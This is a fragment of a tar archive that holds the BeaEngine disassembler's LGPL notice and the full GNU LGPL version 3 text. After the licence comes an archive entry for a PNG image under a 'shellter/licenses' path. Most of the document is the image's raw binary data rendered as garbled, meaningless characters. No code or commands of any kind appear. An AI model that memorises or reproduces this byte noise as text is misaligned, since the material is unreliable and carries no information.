sophiesophiehttp://beatrix2004.free.fr/BeaEngine/licence1.php This library is released under LGPL license. That means you can use it in your projects even if they are under free or proprietary licenses. You don't have to modify your license (if there is one) and you don't have to publish your source code. But, if you improve BeaEngine, you have to publish the modified library under one of the following license : LGPL or GPL. Here are the terms of that license : Copyright (c) 2009 , BeatriX GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. shellter/licenses/BeaEngine.png0000644000175000017500000020576312713431650016407 0ustar sophiesophiePNG  IHDRje*;husRGBgAMA a pHYsodIDATx^Tٺ3g sY1'9'T9( 3"bœsǜDQ Q%C{]љ;OTuW g{Vl@3eIRqԯ03 X"b Ν8$Œ H| {D =m4.oo@\Nn/+@%rxqx~&'_G'q1rxpCvwv@lnm"7 d=kj !dpe) ./!A$,., \E3 t2 }*No)Kd I 818:G#q;࠭ pX-5,} +2Nۘd s!cH`2\m lal& l޲ 4z{ht HW La X#tnNF`Z*V-4˅fMFc`Hl@>,˥.DQ[$Ҩ)[,ȥ:(T˥lPElP)B\kEO6O(O\t>dsJSBU5 loݷw[x1c1c1o>jc!~(8&0ӗC-ZjsP&r6o?Zc1c1ӡۿy+ z{Mrzقz{rPˡCڼ4Cݷ)0~O82c1c1Ƙ[PflU-0~xN؊ j9r%jZwߦ>GPc1c1c:t7oBm۶ ~P)qnpPˡCC&r6o?Zc1c1ӡo>|G",, ;wDDDmBmpbWò?E<7xlj9rqZwߦ>GPc1c1c:tu[rrf-#.vZTDK1CQMX BaS%j#Nul>XWqPˡCm>j*C+0~O82c1c1Ƙ&fZXX l|U${_ `_ak KjU8GRwӧ`X6XamOW{06as8rPˡVCm^rpzoU?Zc1c1ӡ/o"nxd@UU.U/8w a۵)u/' djc1c1c,-x~DDyDD "" ""mv ٮ@a1Bk#ȫoU,\jfMw8Zj9áCW*0~+>djc1c1c,-x+0N'"iiiWi7iwdˋWSБ`KIV%N^nPˡC-|8rJoE߅C-c1c1cBoZigiiiC눈[{~rS .Wkg꩏[pPˡCm.jZwߦ{qe1c1c\M\6DD9DD@""mv vv'8M0GrV(X+ "AC-ZpKh9I}뷢Aơ1c1c1ro{#O]@D &"Ү$"Ү'"n#"%"!"Ҟ$y\bU)T|¨>:}ZF j9rh9r^}21c1c1 ~~ Q=|iii7iwiiOiϐ )`ܫ L5ct?}G/[?dZj9áCW*0~+djc1c1c,ݑ=HHH{H;9@bp1m ܹSZV9簾zG{zc(jTC-ԪArdwB}g7uN""NUK@}6̆,OPAC4_j{iz]P Zj9>djc1c1c,&jRzHH{H+]۶h#""4g̿II"o ]D@;{7ŵP{ޫKV_jշmP_ ɼoj }HoWZZjՁBu r*[ȡCm~@UPxV}뷢Eơ1c1c1r?pCOaDD-DD$=¨;=9KA#'=r\FDDFCK}skG7^\_S_%W'y9rxp ; P=NA}(Q!o"}P UnwAv [ꫛkFyHpi-Y\\ \XEV}BRL0Yw1 ByP:s:cdGL̀tO A_&S^'~=;wqjL` qv:G`@ĎX+7[jX@ɜAQ0zx` 7&Fuc;aEF֌ Á0*[9 "e+r!}^&!eK{ɂ{PwzFP7UF' PX^la[650_h'hi4 M4F eB,OQ)QϨQS6]cZujBU4*jU|*.O9`I˫l>edyj̧Cx>rk-@`R~r~)9\s`P^rS.7`_w@ߍB ?Fc1c1c쟈n?LXqZ6SDADOD=FrEZ X8"$đ$wr[aa1 P;~UG73'׀WGWt{eϐSߡ+ԷNPGQ"CȾq#>(nd_م;Kۡ [Fm$끳3ad-pz }n韼N~B3]XJKsh GP^P@f#{?{f?(w 3{wM'ӠLz'K|M۽d&[=$`q6 a8띈#Npklem5ԫ%+ C͉+S'&P Ę˄1d4,KFd8X-B Ad @<s! ȞM{Y$Y]IOꙝ%I#0C@Ӆvim5SրJ%#˼[h4d^M5OChQp{=$F݄9\kiԔMjP]EùFNr8jUP>rwIˮl>edZs)VRfU"Un`_̅_ s~*1>+¿dwEߏ1c1c1X.t&fZXXepSsR uXS{S $ fT"r\ Cdلą޿aoTUz(ݷb)n|C:dP<#?P^}ȺAȺK;v(/ ې}q+TBP>Z_jǗ@-EyBGP2Y{g!k dNal Bzld|{U P'=Ԫ# #mP$=e=Hw٬n2 @;Ԫgt_ jCh!" B.5ɜ9h|>Ԫ|U딑jqP+|)0#c1c1c\6gqPߣ)"|z5D:."q""irN`um RJBޒ"mr#d@V%|0C$+}pk_~S>jb6mPu7B~Y ~d^݇+{qi7م;qa;F"Vd-P߂:|jէג5PZ 﫠>BrA-EOB"هCy`};{f!c2v$3SӐ}*2wLE_(%>oD- Ԫx@ٝLzqz0 ^B^D>jUT,T+-jU1j0&Di 1d4KCF#paP/*[8 z0 z7ԪA>P&$Y=n2B)*g H6_Uti4F[6POZC+h /n)B3WS&POk4SV1FMd :JjUeNye;UѨ,VXIRPq(O9r䉴ɭZD>šʍCm]01c1c1Xt+oΝ":s;j~mpH{^9cMD,Dސ>$Wr'z,&stƦnzګ Eۦ6YMDh+OBZ̦j#C)"md^?>]ރԋza'فۑzn+RnAڹ-H'6#dMP݈sbU]L}x!@yp>E9;;g"u 2ۅiH6i|lAvd6o(OA)Pmjd_ v56^MVY+(WZs(C3(WP.l!Ą*Ẍ *i#&f 2HM>$cFb̙ȢQZȞIV@>T#{R=PW]9&ւrBMRC"Tϑ+f NBV(S9VPZC-c1c1c13i-w,ڂyi Օi&"m@^gI.S(K0dDr#o'nmY #g.}DZkgCP<&q ҮC=H Ivxv+>ق7!$zz#lDٍȤ1(ϮzdYG}z-T5PZ 﫠:Br~Aub)Tǃ},GCy8,Bdo u?Rv!yL$mmT$m|LR mF6odИu Mr&#{Oxw6O"nPmr%(Lj T띉T ^c(W[D%YY+3d-7%"Ze 2cIR#2cZ:%('à Bhl`"mP/GWY}Kiz"կ$eF7U6 RgH#3 132gtFQ$ɞQ4~EU Zi[ЗMi*/lrS&Py 5A d2nB]PG6Z9&D2]PZN4*9*K2+IRUDN*;A/mYINVitJAe[P*Oq,eZH+pe1c1c1[H`f&mAĒZ ~HyObrwr&,$ė'bչ~ :oMYKۦ#q4K|~iL䍏$i$-SF2$^2Y[O(ĝLrqEFa"7uN0bADZ[dA*kd$V@ sb)2Bd,!c12`#d-%c\J<%!A#Yp2 ً^8D`0@2H+̀Șiz!uV@Ҍn(LӺH>N3@IS 23RwF"fLL"5: {ОCTFZA-ЇrB\!۫lrҳ1B#P d kR}ztJ2& u$k#sPK!Ԩ!Iw#M˱FUP%}eJHw $ӡ"* ˾R5#>rȶ҃Væl>edZs)U)d(+)*Oqd[PYZ1c1c1X 1subjX {&yI(r'CdHV`228KbsA)H\{bFrPٷ282Ï"a^= a(GI=?۱a>aH8I:)$d~_t!Y̓*Y¯:,Ge:&#d "qh2.DH? eOvcȮ $:}h<{Ż ^H'#iR6{!udm͞6yH27#s$,+6L$^pA:gd9Gdq \mնXeC VH[aKރ1iL Lx.5!<i4#=K"#qdAfhbQZ,DV2\hd-,?DPK6kN?d"F_Olvm+CP8F7-Yj"ܩ v{_$qj'$MSuBɘQI$'*dF YBKdN%Mn,/& MeM4#ChLw!2' ! %>&֕MhFPK'͹dJ+#űNCU*2*jULe\v%)v$Į"Hl+ Ni_^%DҶ$zL۲ȴ)a-Y2Vu)dYVRfU"Ȳ(%bȶI6Wk9J82c1c1cy(i~YX,u$-!-r%'l +IKf)ĕs2 #}H[{VtxP+nCƍ#HvɗIV \DU?oHHu->X_ Hm R]V!וH" dǗd[d B$i"u|웇s'v#q_)I;:O$;7z"H!ݑahL1}qEȐL .X'8## kW;EJZ+DrbMyρH 6AҒqIAH^b #Eji4јxQE#pad(2C1l 2s"ss~Ȝ}pѡ-+˭rB7ޝ@;H턏DcԎH%i$}jdH#WhG"Gh: ^-F O#+b2L'bKLh2!]`aԾD\߿^jNJ63үFxq/_$I(@H9)BrtR%Kzd R z()!y$훏q$;m&l{O#lmchl';ȥ9ֈ]k& <~׹zw|\? I7$ \" H]G\3R NH])+mj6HZaVK>,5g_*x0A㐸ؘ!1P18I"C2 4&Әh$ԅ# aCL!e s8isHKh̘}6RgFw7{h׍jx.6 ޣ$֫#:5otDwGDrdHiTS}i}ڑHȦhTVHjɂ>=HܛIR<"]h"XR!ٵFHH&QRmjMM$:FSNQRIkHo{jxg'KQEfj,J񎼷D 6$$m#r!Z,R4-HtJ,J!Y#Ų$R,J"U\8RrI5/T3YI3"*~Eb-Z Zc1c1c,5ף $<%D̴DNd/B֒&S'kbBFALZťC[P{vkjUwPyGz.Gp7)Mّx|p_hD:^ZE<=Cr$YwHs0@q$GH)*}ɳz#o]s\Gq>]jb:NxQ³bh|IcxoH”rn/0>ѻ~Ҕ $'Gϖ੏Htof2M\I'6Dlb}zB]#}k3xP 4jyH} mߠrxc[6UZRYgUY β"^K* J'(*$QRuy|It?d-Fy2H`^JN i<>ŐDc2I1+T YDi^XˡV¡1c1c1oi=%r\ 'al&kR"ĝ8+2 Hґ$ҮrϨVy7d<Gr >^ڇ;1i)4m\ƃ}Ύ`MsŨ`<۷//K{`HAr`) V 1 xo!]={v۝xc66?nW#fT<_{nc t/w#d"!W)y1DڸծxMWOHX킄U +Nux*{ ! ˬ%[M9̈)k!qH`,8h z('FJ!y;w Gad(ك@$ 0̯C~If|JHAu)Ҿ6 x6xtc'g4xK%'GW{o!ar[;/"mHkZ$j$s3-A#1*O1#Ixm"Ti$Lڢ"PsG%+0~>Fقc1c1c1j/0d~ ycKD$;Fd&&nāX#2'H{҂4 5`h̨ 6 w~ׅڴ|/۳;f2\ Mm};w#r[".j_xq<ǻ%xg b-ɖp5#Yi=I bw/B۵w/]zM,E:[DMl{4TTzeح Njg[ki.-pƬxbh=Xt#O+%z mܷ#4>#KAVZ(6 L*Q5*ֵ6Zh ]~.%9<'V<'1V$mW*oZWBI%5(3.'Ԇ,(;尻_)z%9aS׾(b8w <3)"ҊkW{iuU_lVêDa?yk#95*DG آxeTsZjZD @ֆڼC-Zc1c1ctt HɆClC$,$d* ĚQd I:V1M*20(U d/`49"ƞ?'fU )ჸ>]}+&#?eЯ_ -uctg\^aF7ᅞ;q{Cn d?/ұ9B:?[k˽p 2NE_Sy!lƒ]dԩP-jV$$Ҹ}!qw#IZ9mQ7<#FRdaV`%E8#g{Pk<7q7{JU; %Q~fE?jp2 w$g,i$I+ґ-ˮ]qǫ'Lz/ hSzOOLةZ[f{ ~jwlC RH6=nҚBsKLTY_=h8.B#yh)KQi[ƔC#*s/+%5J`&֊]\"Rv,;#ѽ71x<()c3kH_DrάZ1c1c1Xt $''h[a]DD3"&,% ,C&GbI2 >iHjg!쮯Z?(`ڰ.73dIVu''ԦBmŽx{n'bO)W8vÅf6.յa5X:4Gx?"~d&t\3VO5f*V B 2t2n.=~1-'Jn@D9i5+v5jmZ2yp[x#zL:ʳ/&;g#D(H3F"r&1M rOF"rv]纸=ut+/mK{LZ\u`wl cAKwhIqX]#9l/\iš ֍qjy=*#oUɲU̥Bhc^by{"YYU[)Ekj?P1c1c1˃ns61V,,Y-V\5ب&wVعӝζ,&stE&;bFFTr҅%H=R#H!>,,-qH*)XYHZb۱xpB<3w6X 8vc4OkL0޸F~_eq?BZ$}vpnshY968G.JB{/Bm";jBkb ,qk%ӝ7r)Ȁڲ'"fqc!Of^&3!:kAdnQ;{@&4ޜBm-u&u]x Ot x]k? =;Сpݡ5ٷ¦Qr-qNvנ .[7CRre_]|pٲ$-)|~|7z9K˦%pͤsBP9^wYr} BmI%'Zio)Ҏ)'Ԇt-ˣIZe_puTY\3,+"o.FrmYD.=psT)I YR=Ҡ0\#Kt;ËY_cOY sfվ5.D"句P+-jsb-Z1c1c1-.. [mEMDY_QMӤ&V/K8Y{)>|(l2xbCC2"Ik҄!UHYR|xt=/E58POy-X+8{]<<ӡ~Ӯ>8:Cum 3uü_Gv Ο%hԹq-lKAnsEv(Ns85.gjn-ƭV-$m{3`<"L1{nJ7gqm!F!$'^K>Cq{SILDv>?nxbmW?MG9W)ɽqã7VgѶ:Vyj0kSFl[[DwgzusxIZnxϽ t6ڭt}Z25VjWH+ K6uava}\l gܶ<噱9Ԭii7aqf\m1fP+F&%I 6.3-ٜX4)qe\ \3.Ѿ7ˡj FI+BeqeTYM-4lMC֧GўsUVkdIjC %r). +Bm?n!iIJ`MwFf>S&Ԋ^CC-c1c1c1~ylqu1/͊V]nT +*pUO˥XL]exЕ f:+2$IO҉"H-R&ɿi-,QWEڣM_ώ5= xzxr x|C_ZXkHY0(/۬N5) %mFl/.d {d2Α KpFumתK&&Ҟ[4gHDŽ@!8%"'v  1CmDx6A8/._sжWʴQ"AԈj D.Zc1c1c,&f.\)Z(pQ UG5 \-kwF=QqZK"?N:}Ґ$HI3|һ7G3^/(0Ġ U6ڷv"<`\ڹ8:gWͨشnF/i۴P{fd)Ԟ]"hs,vI ]qP\{>PQ{?Q{{abc"v/1253szk`mqrV,}|~"-ɿvFu^ [ݫ'gBmbcqiDk"fG'ܟw&Q3zC5lW8kD\aya#?3osf 5[;CryBPPΨͽFikfV} 1.>"UX}ކ>e=rN5( ujoq+ǾԐq "B.}Q+BmQ?&Ԟk9e qe1c1c1ob qxEǝRJ i DV 7*犵%XTߊ| bm_ҕ#I}R'%ȏ_?" .7m珴z(S>jwsBmFq^?!.;A䎥e1lXK9 ?SLQfۿvj.&SdlZ͌kkH7VZ1ip,ͨ^\[)^g+tר FmBkbf_w^qZkE]iS6P{iH\uQ%s^Cd? ^y>^i,_&!%]VZrp,WGs.9<цs_VM+R銗4שm"%:V]V\VZ_,ܷ 4ͨvDC90l(Ͼ٠Λ7ͨ=ofSgiM=5䴆vCru/F5qF""m 3iMDO+u+(ܑ:ZH[]Ϭ}}ަ>eqߴkqq2Hr('Ԇv+kIN-j>gӖͬ? gǫ\VVRs0"G@HI5jiE (L ~Z!C rxy#l:/.Q;~>ר/.M±-F83̵ N; f0[b7+H(YI"P{%G4>-qw-D/].W= "Rsځs"_f0װtERsOm?V> \rBq;|6Q$HE5nNp^8ʿk{1ێ@o"҆h+!ܭ nMhnx ϼ{ F6=vz[McݨƈQUˇGŢר[gtjpָ [J:W\.Z7O+kuCЬnH-\hD7y+Fqdlm5G"We_L8762'^QkWy㚸0&v e0I&"Lk ҬZ?V4^1{5pݸi&>'/U5j7-GfH֤IE)FW=vuSh=LkSTwlLp`@)_i.y,,X7 K#rt5]a)aXR=ֵ0 K j춆j_>nkÊfB.`i`CןڸvA"x<^Cm¸`R)En DIPˡ1c1c1S|9Ԏ/)Ϻ)@GxF{ m@T\7*)pWJ+p +pGޟ P_ ¥i<>6y9HsM|/ApՄ/iQNLհ\]k4^[;'1G5aDO\YSlsb5eB'_ $c?VphCcV >戚gs#2`"al㹍j] G\;VCpFUFn F &5uNhGO9ԶZw|!jJ_DN^8h-*l7i(nlSi{"aFQuӪRQ\k.m7[#ܡ[aZ9kU\i+pY&ŠUcUF9,ahQgݹ ~PU\2K2K+T< ]$k"qmKU ]6!+n맇Uؼi%%NGuS<:Q=K$>z^`%bq9cPz. ;8Q< SH.=`٩.:u!Sִ!7.ۄ^7ch<1 fpRs7w"ʫ7"'MϞX8 W~ ~"G7GSO퉸i=F=~fO<F7AuZHڥ0c k{ܝQ.mq۹ n9FS+j`Ӫwg Eax7 #xL~Clx2cOG~}`{{r/H;n(K{H|z"fjOy6.B̞HCnZw}xu3Nx'vڒ6K8B%Zⶓ>n9h[Zpˮn75AQMpVh[6$ unZ5DZרHKB"ͅڒeQw-k!ܷVغSԔ<W5KklkTkg] U%eXV&¢W3xjVOФ}=sCVY=rߨ h<4.GNiOي xF.YጘNx,w8 f=^`O8|3ܙk"v M7bQt}0\#7CĴavpܝ9x4kSx6{8^ch|9{(^E~l@<1é}/yF^=i|0{k#m/N@ z_/D Ӻፈ>]X;yvSx<[;ݿ/FISw}D57][̦$ڶ>mz2kHY}x@#xB^B%Ec]Mđ5Ox`_]UjNh"X2^YVKJ֬xI9!OM♤ ҈KRqgqI<7.gcKੈcK)poT1D*}âx@"<3*b6x1hsPc1c1cAo".Po x=\ H:V}W["3үFxq/ޟۅ7"Mxy|=^ óCJ<ўexYǻdٽOv@w, h|<:%shKmͳ?oG <\?¦V{)ʋLƽ+=p?$`Gnxd+JWX91%L@yW:BjbY,@iw, wEmH9&G5DŲ'=N§ q{ܙ9FH<&OF쑈3 1t3q4 90كj`|F<O}W>ħ7‹rjoM"Fh{#i I~=%XES:W')ؾ̽=i'O%mԭ5X'x\:7xh4#̾F<ͮm=x,']<'1}"g/kOi|C:D=qw=޾}:I"V Tʈ$yMb-*1 ­i\x-=sb|Yh4-W$V ƗkJLJJb%%ʸ^ܨ8-cndh_-DDZ{qmڢH1-*ͦV;6w͉j92c1c1c_qqqp cx3J~ 襐Wk r(sɵ ߥPu2nA굃H.ƻ3VmbOˣa9/+@(^$V rd2 q Ax{1 |2ϷNjb\2dmó3t <0OM%x'k OL3a'W1IxEbW!n^oָ횉HVOpەx ˥6x +bЪZV/lG D#7ѳ4v!1s3wb"n!^fH1Ƅ#0OvP"5Ot/bR탷3_$H6ſRg8Egvb]ַ+} ڻ3tFWGɫH{g;KxF3F+ĸiDkKth/' "4piBc<'/ph {$ơ.b$vx:xCJj#Apjc-'@>:eZHTV{xgS m+ X b^KI94ң=qBcyMx7+7yI`V:R2Ӽޚ7&K^G^1FEkfҊHa|Q$ٴrΦ=Pá1c1c1˃n?YXX zt!@H^U v/*&vVQ{Ej5V]nT`~] бoݡ!H! qn/Z;'f ?z/Ň;v$ފ7'7!׍xzC5=qGɑUxM⏮Dr8ex}`)%=={!v sbw%>Yxُ$3q^n"_⃗}j7W*l2b1y"^0 suH]$_7 ank'L_팄xC;ܠ!,E~A }[ܔ9s$rHDYp6hF̼ш?F1xp4ȻH\p> F!q$Nax7w(m =x7q35#3__$И8/>A_"AHT^HdHwi]η | o;˦tB2/NV =֤݅I-&4G %M7AhX\ᵖsCI I/yTxC~s$Ԧε$Ԕ$;HT9VGcU5 ɞ |DJxOYWDykUo,+ ^<-Izxkwe$g^F烅PZf^fB\JiI# xCWLg,h!LZ)ҚEY<צgʡ6oPˡ1c1c1P{QLWx;ZWW=x5zXD iQu2Braa*~s=`_jw~Id:c ?kze?/A҅]H<OoŻS&$܈#u$ '";Aƻch$r$!ːph)%H8/Pw!,v\9 ~? ՏD4~ ARhIɋQHZ0Ba0o(w/ @¬xI?| I!Yڀ~H t!郌ٽ.^H)"&0+uM5{_әt$tDx?xh65{ $-sx{x&5$Lj7̵Fc$L&4"4ШwK=$N 4~ ~҄HrȜ ٥$ťRk!T145dNB$UeBWA$m+I!𞼳㝥V9%ZI>}ᣕt$[ɧBtJ"ɼ$>hVB~| GIwὉ$E&ҚH[L9צPZc1c1c,]PbmPiX{׺*7Ka=b8t Hk1n,\P3P: _Py7#A]ه{|adzV|8o|8%t2 IEүkj|<ñpt9> !R|8 |8o!.@dwE9xk6$~d&@d-S/7 >H#I%I4)On H0Iލ"eD$u5Hkdgd)3yƸ7cqќx:w,$n!!CRH꒱H #IFbih$R #`E0os K @#yvҘ:G"f 3k3{!ݿ'fD_wdlwM"j@:|;itDOw{vH"%m%hI}$y -$={s|po&T > erLlؐ8&֗$K!ED2E46FR 4\jjԐ9 s8UӨ*s 9TA}eJHdd[I66Z"R̊I6dHkQ Y"j<jV& _S`-}1c1c1c헷di dk*zx_x] <@dҡ!,ֿ*@+9"NΰP =p}&X{#^Py\ ʈ#ȼ~W#^]ރԋza'R@ʹH9)gH9 7 H=E~_ԓad-R[_W#וH9+r AeH9#pR |`/$ o>#sg @HOf!iv$3}:M#Su*iLꋔ>[)H6{!}ddlM9i zȰ*úL>eVZr) KY,J \x>"C3hEFZ>jsPc1c1cAX+fֺi (^S v/)w}EU1_o;sC%_ YS$? a8b{6EVՄi}x:!nMY7ZDօZ_uGᇑu2GƕȸvH#6 f g7"d^O!T2~_K UHu% EH?B2 F!#` Y 2i瑹H7i{lGYif"m 2i;iH>_dlmFƖ)-lm@I)k+.oCl: K,r9bM|xb Lb8Đ@&o A%&d< -3Ad2 Zj$QJB,rhdBba$2GXD#C@eȔ @QJk"m?dkB$7酬ٽCםt*хȦw脌ieS;hGЎEFF+dxkLZj#Kh͑L1ѳ̣Fcd7FF Ș$45@[}zȒԕ u4jC9QcBM2zjUeN8VAceR $ÁW̥2-'ɴe LOlSFfUZ%),+Y$BD>őa.ˤYb6ҘM>ju82c1c1cyoΝۧ&TŒ^Ua۵4vΝHNJT@C%]ϤP!Do~"tU ['q"!;7P^ߏ{ue/2/F]ȼmo%[un3nB֙ d=NC֩0YAd2 %+yb9 A<&,A d#p 2-" yp.}Of!c2v$3SLa42Y;|%>Pn&S VO(7#k$dnpEH sAj3V;J{_a/% 2Cbs"FS-M)}x| IK#e)BL2 sxdѨr${`a &P \<G֢Z( Aւ\@8 yB >ޤk{{ȚEI~]ILP$QӄS26ZA-dy#kB\& MeM4#ChYB(IB}zP ueBȦ1[e4j&5rTר&s"[˩ks8Td9T$eU^Gi_9(mevz9lSFfU:RPZV2,8[J%"Ҋ@kY *䏴ju82c1c1cy"""tČ[ݦVBm?"e܀iZbwP 16WUGQ"#; o@P^K@ye7wByIȾlE->6 >gAy: Sk} Y UP_C (O@y\X `(.!APY @C (·<2s@fC=PdJ|l!PmB6Yٛ=< ʍn0& }3R:#y#>G [[neVxo-9,1`3$,1fHI̐!H1CrSd} |<*Ẍj0%(F"{Yp2 ً^8D`0@ jyZWӛd)Afuu%]d3 4:#{F'=MhO!{VFkd #G>SZȼk4rr3d{5MnJFC("ۣ=PM܄urjKnĵFMDF 5\:**%قc\*"AB:*I9rؖͧFt.Αm]RfU"ȶ!⬖*o͉ju82c1c1cy߼ ׯ{TC`!̟ q="OB:09UAn~k{+N.v [:s:LTג5PZ 﫠:Br~Aub)TǃAut1 " :4"d {g?df"{ dnk N_w>Po&S%:-&7(7"K.H )CmܚX!1DD2 b$)!H]nfXaLErSVj B82cbRa,chP"#eG@xTP -LA`0@  9}HoY@/jv]M%tu0zfgٌN.t &hBk}VOK}ٔ͡&7hXTBC{C=hԇ]'$ըCU;WѨéD(TAڡ|>堶aW622[ҹ&2kʪD>"t_iBmHˡVC-c1c1c1[P e&pη^x WB-nJN|jq>n";KIP>s>Lԧג5PZ 﫠>BrA}b)ǃA}t1 " >4̃\!P >2 꽂{fB{iSj[<IȖbDdmu.X猴5H]퀔UvHER VHZnHYnTVX d0GV9 +̠ 5F KVx8ԁ0 -BDV='!./ZoK}}w POɼj4zXԞBCP+V Vm]"m-8RP[`82c1c1cy߼ ɉ 0~v}X H~q=q@pUozn P.sBZGq@*;EJH[iP+dИjL\)#;*աZ,'!X&!`χZHkC١nB4j& 5rLQM"T\E㯅Z8rؕͧVt.6BCƿ ơ1c1c1˃n-_EVލŸ9"p^ c, 37@! p\\\MvWvwmŭdp~#pnY] #kkSWoB2RLXY  $# CvO'Ӏ]SM۽dZIPmrEƉ0 .PsFV2:"c=Cjl52WZ#F*+b앂P B-BM㉉i"b(2R4  ÀEC``0|]% Izfww#]eh~e3;itfH{`N6F`Zi|}w ̫F`X)4y 4B=$ADPT)oVR))*Oq*\Cm..Zc1c1c,B-2Ӑ PGwp^b8`_>޿P9`lf{=3)bkPF\bd 0G(:{d\cKl\m-^%XAjaj!PˡC-/e ˗1c1c1ۿyLEf*gsFx{z^9 ;7!mCˡPOCz0 .PwF:'d9d쑽Ǝ"{ TkjkUVyB-Vj9r`wlA>f1c1c1FI@G 5Hy$'Ioo9 N> ^BZH ZkV&OC-Zjſdدߧ([Oc1c1c)_c1c1c1c=?1c1c1c1Zc1c1c1/Pc1c1c1cejc1c1c1c쿌C-c1c1c1cqe1c1c1c[6^O{s*31c1c1caj'cZc1c1c1ƾ /}1c1c1c?υZ #cZ;MP`nNh/+Y$wjk3ܹ9&;s7Iα>gs{oy+ߣ{^U\Ϳ?_3+pA7c>oY2c1c1c1g[ș/ܿ&aOrRmlhn +Y |<>t-yc3o %y; 8'G×>Wezu?Ugy~s ڟ;J9ד>r-}>O9|d1c1c1coXI+= s.OO/]KA/ίcz&;? zV+sнvc1c1c1cB-f9A1c1c1c1qeӄ+f1c1c1cZVנ-8c1c1c ]U} {<}}O_0jATIUj(hVZѪEj7!@@l dC@0dIH"La^ksOrϹ{^ sB!4fa"B!B!B!F-B!B!B!Baa"B!B!B!F-B!B!B!Baa"B!B!B!F-B!B!B!BaB!B!B!B9!B!B!B!z%9%uYGdoB!B!B!¨EOQB!B!B!48¨EOQB!B!B!48¨EOQB!B!4H,]\|,X'rl4^LB 7n׭S22d Κ6^ͿKna=0.ԻaukTx^_Xbn?}׵.tlKݵWUmz$爫0ja"B!B > 6l ky#r06U?Np$>vfſ#*kȵ3w]},܇ewl4\?nl!{i?%y I.9ntھڗۺe􍇪qJG_kd C;smQ>vmF귮sZPGZוvy8|U͔׭{ܶoqL4GO۷~M{7[;W>wd۹59o}ڠd.8=}]AwU 8Nq,Ue%;-'mkǘ9?xM?ڒSiƵvwfW^5N] q8RyPO50hg*kFc!/v.x_Zόsb6;uJЫU[ei6qq.XcU~yZPʎM8]z̍So(O7|EE~m7Fɋxl¨EOQB!B!42bSCASKy'}Nb񍔪~̱]I1Tt-rys5dQ27&}u!16%9/{9*Qڷoʂ1L| ^K/-gSދ3rs(?V}e8*+7Mюu;,_e1$u5VtƲ-_/U+QNʋɵKc͵0ja"B!B ]FZ2EA[5+wX?Ocm1kA\}u>5WSC?(H;J>X?x.Š)-|5o!OIlz Pڏ`L ֟ɹ}\CNI8#9Ig{DU,VeJrT)Q JoGٹOת^+ VyUۻ1|1ʿ}l;2k_W-WU f\ߌEfl,ǗjtN~NhxsJ*;t 